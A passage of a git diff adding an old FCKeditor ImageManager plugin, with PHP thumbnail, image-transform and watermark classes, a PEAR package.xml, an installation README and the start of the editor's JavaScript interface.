+        * Thumbnail is proportional
+        */
+       var $proportional = true;
+
+       /**
+        * Default image type is JPEG.
+        */
+       var $type = 'jpeg';
+
+       /**
+        * Create a new Thumbnail instance.
+        * @param int $width thumbnail width
+        * @param int $height thumbnail height
+        */
+       function Thumbnail($width=96, $height=96) 
+       {
+               $this->driver = Image_Transform::factory(IMAGE_CLASS);
+               $this->width = $width;
+               $this->height = $height;
+       }
+
+       /**
+        * Create a thumbnail.
+        * @param string $file the image for the thumbnail
+        * @param string $thumbnail if not null, the thumbnail will be saved
+        * as this parameter value.
+        * @return boolean true if thumbnail is created, false otherwise
+        */
+       function createThumbnail($file, $thumbnail=null) 
+       {
+               if(!is_file($file)) 
+                       Return false;
+
+               //error_log('Creating Thumbs: '.$file);
+
+               $this->driver->load($file);
+
+               if($this->proportional) 
+               {
+                       $width = $this->driver->img_x;
+                       $height = $this->driver->img_y;
+
+                       if ($width > $height)
+                               $this->height = intval($this->width/$width*$height);
+                       else if ($height > $width)
+                               $this->width = intval($this->height/$height*$width);
+               }
+
+               $this->driver->resize($this->width, $this->height);
+
+               if(is_null($thumbnail)) 
+                       $this->save($file);
+               else
+                       $this->save($thumbnail);
+
+
+               $this->free();
+
+               if(is_file($thumbnail)) 
+                       Return true;
+               else
+                       Return false;
+       }
+
+       /**
+        * Save the thumbnail file.
+        * @param string $file file name to be saved as.
+        */
+       function save($file) 
+       {
+               $this->driver->save($file);
+       }
+
+       /**
+        * Free up the graphic driver resources.
+        */
+       function free() 
+       {
+               $this->driver->free();
+       }
+}
+
+
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/Transform.php b/fckeditor/editor/plugins/ImageManager/Classes/Transform.php
new file mode 100755 (executable)
index 0000000..1025877
--- /dev/null
@@ -0,0 +1,569 @@
+<?php
+/***********************************************************************
+** Title.........:  Image Transformation Interface
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  Transform.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+                    
+                    Added a few extra,
+                        - create unique filename in a particular directory,
+                          used for temp image files.
+                        - added cropping to GD, NetPBM, ImageMagick
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// |          Alan Knowles <alan@akbkhome.com>                            |
+// |          Vincent Oostindie <vincent@sunlight.tmfweb.nl>              |
+// +----------------------------------------------------------------------+
+//
+// $Id: Transform.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+//
+// Image Transformation interface
+//
+
+
+/**
+ * The main "Image_Resize" class is a container and base class which
+ * provides the static methods for creating Image objects as well as
+ * some utility functions (maths) common to all parts of Image Resize.
+ *
+ * The object model of DB is as follows (indentation means inheritance):
+ *
+ * Image_Resize The base for each Image implementation.  Provides default
+ * |            implementations (in OO lingo virtual methods) for
+ * |            the actual Image implementations as well as a bunch of
+ * |            maths methods.
+ * |
+ * +-Image_GD   The Image implementation for the PHP GD extension .  Inherits
+ *              Image_Resize
+ *              When calling DB::setup for GD images the object returned is an
+ *              instance of this class.
+ *
+ * @package  Image Resize
+ * @version  1.00
+ * @author   Peter Bowyer <peter@mapledesign.co.uk>
+ * @since    PHP 4.0
+ */
+Class Image_Transform
+{
+    /**
+     * Name of the image file
+     * @var string
+     */
+    var $image = '';
+    /**
+     * Type of the image file (eg. jpg, gif png ...)
+     * @var string
+     */
+    var $type = '';
+    /**
+     * Original image width in x direction
+     * @var int
+     */
+    var $img_x = '';
+    /**
+     * Original image width in y direction
+     * @var int
+     */
+    var $img_y = '';
+    /**
+     * New image width in x direction
+     * @var int
+     */
+    var $new_x = '';
+    /**
+     * New image width in y direction
+     * @var int
+     */
+    var $new_y = '';
+    /**
+     * Path the the library used
+     * e.g. /usr/local/ImageMagick/bin/ or
+     * /usr/local/netpbm/
+     */
+    var $lib_path = '';
+    /**
+     * Flag to warn if image has been resized more than once before displaying
+     * or saving.
+     */
+     var $resized = false;
+
+
+     var $uid = '';
+
+     var $lapse_time =900; //15 mins
+
+    /**
+     * Create a new Image_resize object
+     *
+     * @param string $driver name of driver class to initialize
+     *
+     * @return mixed a newly created Image_Transform object, or a PEAR
+     * error object on error
+     *
+     * @see PEAR::isError()
+     * @see Image_Transform::setOption()
+     */
+    function &factory($driver)
+    {
+        if ('' == $driver) {
+            die("No image library specified... aborting.  You must call ::factory() with one parameter, the library to load.");
+
+        }
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+
+        include_once "$driver.php";
+
+        $classname = "Image_Transform_Driver_{$driver}";
+        $obj =& new $classname;
+        return $obj;
+    }
+
+
+    /**
+     * Resize the Image in the X and/or Y direction
+     * If either is 0 it will be scaled proportionally
+     *
+     * @access public
+     *
+     * @param mixed $new_x (0, number, percentage 10% or 0.1)
+     * @param mixed $new_y (0, number, percentage 10% or 0.1)
+     *
+     * @return mixed none or PEAR_error
+     */
+    function resize($new_x = 0, $new_y = 0)
+    {
+        // 0 means keep original size
+        $new_x = (0 == $new_x) ? $this->img_x : $this->_parse_size($new_x, $this->img_x);
+        $new_y = (0 == $new_y) ? $this->img_y : $this->_parse_size($new_y, $this->img_y);
+        // Now do the library specific resizing.
+        return $this->_resize($new_x, $new_y);
+    } // End resize
+
+
+    /**
+     * Scale the image to have the max x dimension specified.
+     *
+     * @param int $new_x Size to scale X-dimension to
+     * @return none
+     */
+    function scaleMaxX($new_x)
+    {
+        $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+        return $this->_resize($new_x, $new_y);
+    } // End resizeX
+
+    /**
+     * Scale the image to have the max y dimension specified.
+     *
+     * @access public
+     * @param int $new_y Size to scale Y-dimension to
+     * @return none
+     */
+    function scaleMaxY($new_y)
+    {
+        $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+        return $this->_resize($new_x, $new_y);
+    } // End resizeY
+
+    /**
+     * Scale Image to a maximum or percentage
+     *
+     * @access public
+     * @param mixed (number, percentage 10% or 0.1)
+     * @return mixed none or PEAR_error
+     */
+    function scale($size)
+    {
+        if ((strlen($size) > 1) && (substr($size,-1) == '%')) {
+            return $this->scaleByPercentage(substr($size, 0, -1));
+        } elseif ($size < 1) {
+            return $this->scaleByFactor($size);
+        } else {
+            return $this->scaleByLength($size);
+        }
+    } // End scale
+
+    /**
+     * Scales an image to a percentage of its original size.  For example, if
+     * my image was 640x480 and I called scaleByPercentage(10) then the image
+     * would be resized to 64x48
+     *
+     * @access public
+     * @param int $size Percentage of original size to scale to
+     * @return none
+     */
+    function scaleByPercentage($size)
+    {
+        return $this->scaleByFactor($size / 100);
+    } // End scaleByPercentage
+
+    /**
+     * Scales an image to a factor of its original size.  For example, if
+     * my image was 640x480 and I called scaleByFactor(0.5) then the image
+     * would be resized to 320x240.
+     *
+     * @access public
+     * @param float $size Factor of original size to scale to
+     * @return none
+     */
+    function scaleByFactor($size)
+    {
+        $new_x = round($size * $this->img_x, 0);
+        $new_y = round($size * $this->img_y, 0);
+        return $this->_resize($new_x, $new_y);
+    } // End scaleByFactor
+
+    /**
+     * Scales an image so that the longest side has this dimension.
+     *
+     * @access public
+     * @param int $size Max dimension in pixels
+     * @return none
+     */
+    function scaleByLength($size)
+    {
+         if ($this->img_x >= $this->img_y) {
+            $new_x = $size;
+            $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+        } else {
+            $new_y = $size;
+            $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+        }
+        return $this->_resize($new_x, $new_y);
+    } // End scaleByLength
+
+
+    /**
+     *
+     * @access public
+     * @return void
+     */
+    function _get_image_details($image)
+    {
+        //echo $image;
+        $data = @GetImageSize($image);
+        #1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(intel byte order), 8 = TIFF(motorola byte order,
+        # 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC
+        if (is_array($data)){
+            switch($data[2]){
+                case 1:
+                    $type = 'gif';
+                    break;
+                case 2:
+                    $type = 'jpeg';
+                    break;
+                case 3:
+                    $type = 'png';
+                    break;
+                case 4:
+                    $type = 'swf';
+                    break;
+                case 5:
+                    $type = 'psd';
+                case 6:
+                    $type = 'bmp';
+                case 7:
+                case 8:
+                    $type = 'tiff';
+                default:
+                    echo("We do not recognize this image format");
+            }
+            $this->img_x = $data[0];
+            $this->img_y = $data[1];
+            $this->type = $type;
+
+            return true;
+        } else {
+            echo("Cannot fetch image or images details.");
+            return null;
+        }
+        /*
+        $output = array(
+                        'width' => $data[0],
+                        'height' => $data[1],
+                        'type' => $type
+                        );
+        return $output;
+        */
+    }
+
+
+    /**
+     * Parse input and convert
+     * If either is 0 it will be scaled proportionally
+     *
+     * @access private
+     *
+     * @param mixed $new_size (0, number, percentage 10% or 0.1)
+     * @param int $old_size
+     *
+     * @return mixed none or PEAR_error
+     */
+    function _parse_size($new_size, $old_size)
+    {
+        if ('%' == $new_size) {
+            $new_size = str_replace('%','',$new_size);
+            $new_size = $new_size / 100;
+        }
+        if ($new_size > 1) {
+            return (int) $new_size;
+        } elseif ($new_size == 0) {
+            return (int) $old_size;
+        } else {
+            return (int) round($new_size * $old_size, 0);
+        }
+    }
+
+
+    function uniqueStr()
+    {
+      return substr(md5(microtime()),0,6);
+    }
+
+    //delete old tmp files, and allow only 1 file per remote host.
+    function cleanUp($id, $dir)
+    {
+        $d = dir($dir);
+        $id_length = strlen($id);
+
+        while (false !== ($entry = $d->read())) {
+            if (is_file($dir.'/'.$entry) && substr($entry,0,1) == '.' && !ereg($entry, $this->image))
+            {
+                //echo filemtime($this->directory.'/'.$entry)."<br>"; 
+                //echo time();
+
+                if (filemtime($dir.'/'.$entry) + $this->lapse_time < time())
+                    unlink($dir.'/'.$entry);
+
+                if (substr($entry, 1, $id_length) == $id)
+                {
+                    if (is_file($dir.'/'.$entry))
+                        unlink($dir.'/'.$entry);
+                }
+            }
+        }
+        $d->close();
+    }
+
+
+    function createUnique($dir)
+    {
+       $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+        
+       //make sure the the unique temp file does not exists
+        while (file_exists($dir.$unique_str))
+        {
+            $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+        }
+        
+      $this->cleanUp($this->uid, $dir);
+
+       return $unique_str;
+    }
+
+
+    /**
+     * Set the image width
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_img_x($size)
+    {
+        $this->img_x = $size;
+    }
+
+    /**
+     * Set the image height
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_img_y($size)
+    {
+        $this->img_y = $size;
+    }
+
+    /**
+     * Set the image width
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_new_x($size)
+    {
+        $this->new_x = $size;
+    }
+
+    /**
+     * Set the image height
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_new_y($size)
+    {
+        $this->new_y = $size;
+    }
+
+    /**
+     * Get the type of the image being manipulated
+     *
+     * @return string $this->type the image type
+     */
+    function getImageType()
+    {
+        return $this->type;
+    }
+
+    /**
+     *
+     * @access public
+     * @return string web-safe image type
+     */
+    function getWebSafeFormat()
+    {
+        switch($this->type){
+            case 'gif':
+            case 'png':
+                return 'png';
+                break;
+            default:
+                return 'jpeg';
+        } // switch
+    }
+
+    /**
+     * Place holder for the real resize method
+     * used by extended methods to do the resizing
+     *
+     * @access private
+     * @return PEAR_error
+     */
+    function _resize() {
+        return null; //PEAR::raiseError("No Resize method exists", true);
+    }
+
+    /**
+     * Place holder for the real load method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @return PEAR_error
+     */
+    function load($filename) {
+        return null; //PEAR::raiseError("No Load method exists", true);
+    }
+
+    /**
+     * Place holder for the real display method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @param string filename
+     * @return PEAR_error
+     */
+    function display($type, $quality) {
+        return null; //PEAR::raiseError("No Display method exists", true);
+    }
+
+    /**
+     * Place holder for the real save method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @param string filename
+     * @return PEAR_error
+     */
+    function save($filename, $type, $quality) {
+        return null; //PEAR::raiseError("No Save method exists", true);
+    }
+
+    /**
+     * Place holder for the real free method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @return PEAR_error
+     */
+    function free() {
+        return null; //PEAR::raiseError("No Free method exists", true);
+    }
+
+    /**
+     * Reverse of rgb2colorname.
+     *
+     * @access public
+     * @return PEAR_error
+     *
+     * @see rgb2colorname
+     */
+    function colorhex2colorarray($colorhex) {
+        $r = hexdec(substr($colorhex, 1, 2));
+        $g = hexdec(substr($colorhex, 3, 2));
+        $b = hexdec(substr($colorhex, 4, 2));
+        return array($r,$g,$b);
+    }
+
+    /**
+     * Reverse of rgb2colorname.
+     *
+     * @access public
+     * @return PEAR_error
+     *
+     * @see rgb2colorname
+     */
+    function colorarray2colorhex($color) {
+        $color = '#'.dechex($color[0]).dechex($color[1]).dechex($color[2]);
+        return strlen($color)>6?false:$color;
+    }
+
+
+    /* Methods to add to the driver classes in the future */
+    function addText()
+    {
+        return null; //PEAR::raiseError("No addText method exists", true);
+    }
+
+    function addDropShadow()
+    {
+        return null; //PEAR::raiseError("No AddDropShadow method exists", true);
+    }
+
+    function addBorder()
+    {
+        return null; //PEAR::raiseError("No addBorder method exists", true);
+    }
+
+    function crop()
+    {
+        return null; //PEAR::raiseError("No crop method exists", true);
+    }
+
+    function flip() 
+    {
+        return null;
+    }
+
+    function gamma()
+    {
+        return null; //PEAR::raiseError("No gamma method exists", true);
+    }
+}
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/api.watermark.php b/fckeditor/editor/plugins/ImageManager/Classes/api.watermark.php
new file mode 100755 (executable)
index 0000000..b9ef118
--- /dev/null
@@ -0,0 +1,104 @@
+<?php
+/**
+ * Watermarking API
+ * @author Brian Vaughn http://boynamedbri.com/  -  http://portfolio.boynamedbri.com/ -  @ devshed http://www.devshed.com/c/a/PHP/Dynamic-Watermarking-with-PHP/
+ * @author Paul Moers <mail@saulmade.nl> - small changes to place the watermark on a given coordinate and to only handle watermark area
+ * @version $Id: api.watermark.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+class watermark{
+
+       # given two images, return a blended watermarked image
+       function create_watermark( $main_img_obj, $watermark_img_obj, $alpha_level = 100, $watermarkX = -1, $watermarkY = -1 ) {
+               $alpha_level    /= 100; # convert 0-100 (%) alpha to decimal
+       
+               # calculate our images dimensions
+               $main_img_obj_w = imagesx( $main_img_obj );
+               $main_img_obj_h = imagesy( $main_img_obj );
+               $watermark_img_obj_w    = imagesx( $watermark_img_obj );
+               $watermark_img_obj_h    = imagesy( $watermark_img_obj );
+               
+               # determine watermark area for given coordinates
+               if ($watermarkX > - 1 && $watermarkY > -1)
+               {
+                       $main_img_obj_min_x     = $watermarkX;
+                       $main_img_obj_max_x     = $watermarkX + $watermark_img_obj_w;
+                       $main_img_obj_min_y     = $watermarkY;
+                       $main_img_obj_max_y     = $watermarkY + $watermark_img_obj_h;
+               }
+               # determine watermark area when centered
+               else
+               {
+                       $main_img_obj_min_x     = floor( ( $main_img_obj_w / 2 ) - ( $watermark_img_obj_w / 2 ) );
+                       $main_img_obj_max_x     = ceil( ( $main_img_obj_w / 2 ) + ( $watermark_img_obj_w / 2 ) );
+                       $main_img_obj_min_y     = floor( ( $main_img_obj_h / 2 ) - ( $watermark_img_obj_h / 2 ) );
+                       $main_img_obj_max_y     = ceil( ( $main_img_obj_h / 2 ) + ( $watermark_img_obj_h / 2 ) );
+               }
+
+               # create image copy to hold merged changes
+               $return_img     = $main_img_obj;
+
+               # walk through the watermark area
+               for( $y = $main_img_obj_min_y; $y < $main_img_obj_max_y; $y++ ) {
+                       for( $x = $main_img_obj_min_x; $x < $main_img_obj_max_x; $x++ ) {
+                               $return_color   = NULL;
+                               
+                               # determine the correct pixel location within our watermark
+                               $watermark_x    = $x - $main_img_obj_min_x;
+                               $watermark_y    = $y - $main_img_obj_min_y;
+                               
+                               # fetch color information for both of our images
+                               $main_rgb = imagecolorsforindex( $main_img_obj, imagecolorat( $main_img_obj, $x, $y ) );
+                               
+                               # if our watermark has a non-transparent value at this pixel intersection
+                               # and we're still within the bounds of the watermark image
+                               if (    $watermark_x >= 0 && $watermark_x < $watermark_img_obj_w &&
+                                                       $watermark_y >= 0 && $watermark_y < $watermark_img_obj_h ) {
+                                       $watermark_rbg = imagecolorsforindex( $watermark_img_obj, imagecolorat( $watermark_img_obj, $watermark_x, $watermark_y ) );
+                                       
+                                       # using image alpha, and user specified alpha, calculate average
+                                       $watermark_alpha        = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );
+                                       $watermark_alpha        = $watermark_alpha * $alpha_level;
+                               
+                                       # calculate the color 'average' between the two - taking into account the specified alpha level
+                                       $avg_red                = $this->_get_ave_color( $main_rgb['red'],              $watermark_rbg['red'],          $watermark_alpha );
+                                       $avg_green      = $this->_get_ave_color( $main_rgb['green'],    $watermark_rbg['green'],        $watermark_alpha );
+                                       $avg_blue               = $this->_get_ave_color( $main_rgb['blue'],     $watermark_rbg['blue'],         $watermark_alpha );
+
+                                       # calculate a color index value using the average RGB values we've determined
+                                       $return_color   = $this->_get_image_color( $return_img, $avg_red, $avg_green, $avg_blue );
+                                       
+                               # if we're not dealing with an average color here, then let's just copy over the main color
+                               } else {
+                                       $return_color   = imagecolorat( $main_img_obj, $x, $y );
+                                       
+                               } # END if watermark
+               
+                               # draw the appropriate color onto the return image
+                               imagesetpixel( $return_img, $x, $y, $return_color );
+               
+                       } # END for each X pixel
+               } # END for each Y pixel
+                       
+               # return the resulting, watermarked image for display
+               return $return_img;
+       
+       } # END create_watermark()
+       
+       # average two colors given an alpha
+       function _get_ave_color( $color_a, $color_b, $alpha_level ) {
+               return round( ( ( $color_a * ( 1 - $alpha_level ) ) + ( $color_b        * $alpha_level ) ) );
+       } # END _get_ave_color()
+               
+       # return closest pallette-color match for RGB values
+       function _get_image_color($im, $r, $g, $b) {
+               $c=imagecolorexact($im, $r, $g, $b);
+               if ($c>0) return $c;
+               $c=imagecolorallocate($im, $r, $g, $b);
+               if ($c>0) return $c;
+               return imagecolorclosest($im, $r, $g, $b);
+       } # EBD _get_image_color()
+
+} # END watermark API
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/package.xml b/fckeditor/editor/plugins/ImageManager/Classes/package.xml
new file mode 100755 (executable)
index 0000000..96ebab2
--- /dev/null
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE package SYSTEM "http://pear.php.net/dtd/package-1.0">
+<package version="1.0">
+  <name>Image_Transform</name>
+  <summary>Provides a standard interface to manipulate images using different libraries</summary>
+  <description>This package was written to provide a simpler and cross-library interface to doing image transformations and manipulations.
+It provides :
+
+* support for GD, ImageMagick, Imagick and NetPBM
+* files related functions
+* addText
+* Scale (by length, percentage, maximum X/Y)
+* Resize
+* Rotate (custom angle)
+* Add border (soon)
+* Add shadow (soon)</description>
+  <maintainers>
+    <maintainer>
+      <user>reywob</user>
+      <name>Peter Bowyer</name>
+      <email>peter@mapledesign.co.uk</email>
+      <role>lead</role>
+    </maintainer>
+    <maintainer>
+      <user>pajoye</user>
+      <name>Pierre-Alain Joye</name>
+      <email>paj@pearfr.org</email>
+      <role>lead</role>
+    </maintainer>
+  </maintainers>
+  <release>
+    <version>0.8</version>
+    <date>2003-12-29</date>
+    <license>PHP License</license>
+    <state>alpha</state>
+    <notes>Second public release, hopefully much more stable.  API nearly fixed.  NOT NECESSARILY COMPATIBLE WITH 0.1 - be warned!</notes>
+    <filelist>
+      <file role="php" baseinstalldir="Image" name="Transform.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\GD.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\GD1.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\IM.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\NetPBM.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\Imagick.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\Imagick2.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\Imlib.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\ColorsDefs.php"/>
+    </filelist>
+  </release>
+</package>
diff --git a/fckeditor/editor/plugins/ImageManager/README.txt b/fckeditor/editor/plugins/ImageManager/README.txt
new file mode 100755 (executable)
index 0000000..8ad79b5
--- /dev/null
@@ -0,0 +1,47 @@
+Below are the steps required to setup the Wei Zhuo's Image Manager (http://www.zhuo.org/htmlarea/)
+as a plugin for FCKeditor.
+
+-----------------------------
+SETTING UP THE IMAGE MANAGER:
+-----------------------------
+
+- Firstly extract the archive to the editor/plugins directory
+- Edit the file 'editor/plugins/ImageManager/config.inc.php' to configure the plugin.
+
+---------------------------
+INSTALLING AS A FCK PLUGIN:
+---------------------------
+
+The required fckplugin.js file is already in the archive, so all you need to do is update fckconfig.js (in the root directory) and make the following updates:
+
+- The language for the plugin and to directEdit option must be set in its 'editor/plugins/ImageManager/fckplugin.js' file.
+-  Add the plugin to your FCKeditor by opening you 'fckconfig.js' file and update the 'FCKConfig.ToolbarSets' you're using by replacing 'Image' with 'ImageManager';
+   Register the plugin with the following statement: "FCKConfig.Plugins.Add('ImageManager');"
+- Done. (Should the toolbar icon not appear, try to clear your browser's cache)
+
+
+--------------------------------------------------------------
+UPDATING THE CONTEXT MENU FOR IMAGES TO USE THE IMAGE MANAGER:
+--------------------------------------------------------------
+
+Copy an icon for the image manager for the popup context menu
+cp /editor/skins/default/toolbar/image.gif /editor/skins/default/toolbar/imagemanager.gif
+
+edit editor/_source/internals/fckcontextmenu.js
+         - search for 'FCKLang.ImageProperties'
+         - replace the string in the parameter before the above mentioned one from 'Image' to 'ImageManager'.
+                       the line should now read:       return new FCKContextMenuGroup( true, this, 'ImageManager', FCKLang.ImageProperties, true ) ;
+
+This updates the _source context menu to use the image manager. However to avoid having to recompile the whole thing, also need to update the compiled versions too so also repeat the above on the following files:
+        
+        - editor/js/fckeditorcode_gecko_2.js
+        - editor/js/fckeditorcode_ie_2.js
+
+
+Enjoy!
+Brent Kelly
+Zeald.com
+http://www.zeald.com
+
+Paul Moers
+http://www.saulmade.nl
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/EditorContent.js b/fckeditor/editor/plugins/ImageManager/assets/EditorContent.js
new file mode 100755 (executable)
index 0000000..bd7aae0
--- /dev/null
@@ -0,0 +1,744 @@
+/***********************************************************************
+** Title.........:  Online Image Editor Interface
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  EditorContents.js
+** Last changed..:  31 Mar 2004 
+** Notes.........:  Handles most of the interface routines for the ImageEditor.
+*
+* Added:  29 Mar 2004  - Constrainted resizing/scaling
+**/ 
+
+
+function MM_findObj(n, d) { //v4.01
+  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
+    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
+  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
+  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
+  if(!x && d.getElementById) x=d.getElementById(n); return x;
+}
+
+var pic_x, pic_y;
+function P7_Snap() { //v2.62 by PVII
+  var x,y,ox,bx,oy,p,tx,a,b,k,d,da,e,el,args=P7_Snap.arguments;a=parseInt(a);
+  for (k=0; k<(args.length-3); k+=4)
+   if ((g=MM_findObj(args[k]))!=null) {
+    el=eval(MM_findObj(args[k+1]));
+    a=parseInt(args[k+2]);b=parseInt(args[k+3]);
+    x=0;y=0;ox=0;oy=0;p="";tx=1;da="document.all['"+args[k]+"']";
+    if(document.getElementById) {
+     d="document.getElementsByName('"+args[k]+"')[0]";
+     if(!eval(d)) {d="document.getElementById('"+args[k]+"')";if(!eval(d)) {d=da;}}
+    }else if(document.all) {d=da;} 
+    if (document.all || document.getElementById) {
+     while (tx==1) {p+=".offsetParent";
+      if(eval(d+p)) {x+=parseInt(eval(d+p+".offsetLeft"));y+=parseInt(eval(d+p+".offsetTop"));
+      }else{tx=0;}}
+     ox=parseInt(g.offsetLeft);oy=parseInt(g.offsetTop);var tw=x+ox+y+oy;
+     if(tw==0 || (navigator.appVersion.indexOf("MSIE 4")>-1 && navigator.appVersion.indexOf("Mac")>-1)) {
+      ox=0;oy=0;if(g.style.left){x=parseInt(g.style.left);y=parseInt(g.style.top);
+      }else{var w1=parseInt(el.style.width);bx=(a<0)?-5-w1:-10;
+      a=(Math.abs(a)<1000)?0:a;b=(Math.abs(b)<1000)?0:b;
+      //alert(event.clientX);
+         if (window.event == null) x=document.body.scrollLeft + bx;
+               else x=document.body.scrollLeft + event.clientX + bx;
+         if (window.event == null) y=document.body.scrollTop;
+               else y=document.body.scrollTop + event.clientY;}}
+   }else if (document.layers) {x=g.x;y=g.y;var q0=document.layers,dd="";
+    for(var s=0;s<q0.length;s++) {dd='document.'+q0[s].name;
+     if(eval(dd+'.document.'+args[k])) {x+=eval(dd+'.left');y+=eval(dd+'.top');break;}}}
+   if(el) {e=(document.layers)?el:el.style;
+   var xx=parseInt(x+ox+a),yy=parseInt(y+oy+b);
+   //alert(xx+":"+yy);
+   if(navigator.appName=="Netscape" && parseInt(navigator.appVersion)>4){xx+="px";yy+="px";}
+   if(navigator.appVersion.indexOf("MSIE 5")>-1 && navigator.appVersion.indexOf("Mac")>-1){
+    xx+=parseInt(document.body.leftMargin);yy+=parseInt(document.body.topMargin);
+    xx+="px";yy+="px";}e.left=xx;e.top=yy;}
+    pic_x = parseInt(xx); pic_y = parseInt(yy);
+    //alert(xx+":"+yy);
+    }
+}
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+var dragapproved=false
+var z,x,y,status, ant, canvas, content, pic_width, pic_height, image, resizeHandle, oa_w, oa_h, oa_x, oa_y, mx2, my2;
+
+
+function init_resize() 
+{
+    if(mode == "scale") 
+    {
+        P7_Snap('theImage','ant',0,0);
+
+        if (canvas == null)
+            canvas = MM_findObj("imgCanvas");
+
+        if (pic_width == null || pic_height == null)
+        {
+            image = MM_findObj("theImage");
+            pic_width = image.width;
+            pic_height = image.height;
+        }
+        
+        if (ant == null)
+            ant = MM_findObj("ant");
+
+        ant.style.left = pic_x; ant.style.top = pic_y;
+        ant.style.width = pic_width; ant.style.height = pic_height;
+        ant.style.visibility = "visible";
+
+        drawBoundHandle();
+        jg_doc.paint();
+    }
+}
+
+initEditor = function () 
+{
+    init_crop();
+    init_resize();
+    var markerImg = MM_findObj('markerImg', window.top.document);
+
+    if (markerImg.src.indexOf("img/t_white.gif")>0)
+        toggleMarker() ;
+}
+
+function init_crop() 
+{
+    //if(mode == "crop") {
+        P7_Snap('theImage','ant',0,0);
+    //}
+}
+
+function setMode(newMode) 
+{
+    mode = newMode;
+    reset();
+}
+
+function reset() 
+{
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    ant.style.visibility = "hidden";
+    ant.style.left = 0;
+    ant.style.top = 0;
+    ant.style.width = 0;
+    ant.style.height = 0;
+
+    mx2 = null;
+    my2 = null;
+
+    jg_doc.clear();
+    if(mode != 'measure')
+        showStatus();   
+
+    if(mode == "scale") {
+        init_resize();
+    }
+
+    P7_Snap('theImage','ant',0,0);
+}
+
+function toggleMarker() 
+{
+    //alert("Toggle");
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    if(ant.className=="selection")
+        ant.className="selectionWhite";
+    else
+        ant.className="selection";
+    
+    if (jg_doc.getColor() == "#000000")
+        jg_doc.setColor("#FFFFFF");
+    else
+        jg_doc.setColor("#000000");
+    
+    drawBoundHandle
+    jg_doc.paint();
+}
+
+
+function move(e)
+{
+    if (dragapproved)
+    {
+        //z.style.left=ns6? temp1+e.clientX-x: temp1+event.clientX-x
+        //z.style.top=ns6? temp2+e.clientY-y : temp2+event.clientY-y
+        var w = ns6? temp1+e.clientX - x : temp1+event.clientX - x;
+        var h = ns6? temp2+e.clientY - y : temp2+event.clientY - y;
+
+        //alert(canvas.style.left);
+        /*if (status !=null)
+        {
+            status.innerHTML  = "x:"+x+" y:"+y+" w:"+w+" h:"+h+" can_h:"+pic_height;
+            status.innerHTML += " can_w:"+pic_width+" px:"+pic_x+" py:"+pic_y;
+            status.innerHTML += " pix:"+image.style.left+" piy:"+image.style.top+" obj:"+obj.id;
+        }*/
+
+        /*jg_doc.clear();
+        jg_doc.fillRectPattern(0,0,Math.abs(w),Math.abs(h),pattern);
+        jg_doc.paint();
+*/
+        if (ant != null)
+        {
+            if (w >= 0)
+            {
+                ant.style.left = x;
+                ant.style.width = w;
+            }
+            else
+            {
+                ant.style.left = x+w;
+                ant.style.width = -1*w;
+            }
+
+            if (h >= 0)
+            {
+                ant.style.top = y;
+                ant.style.height = h;
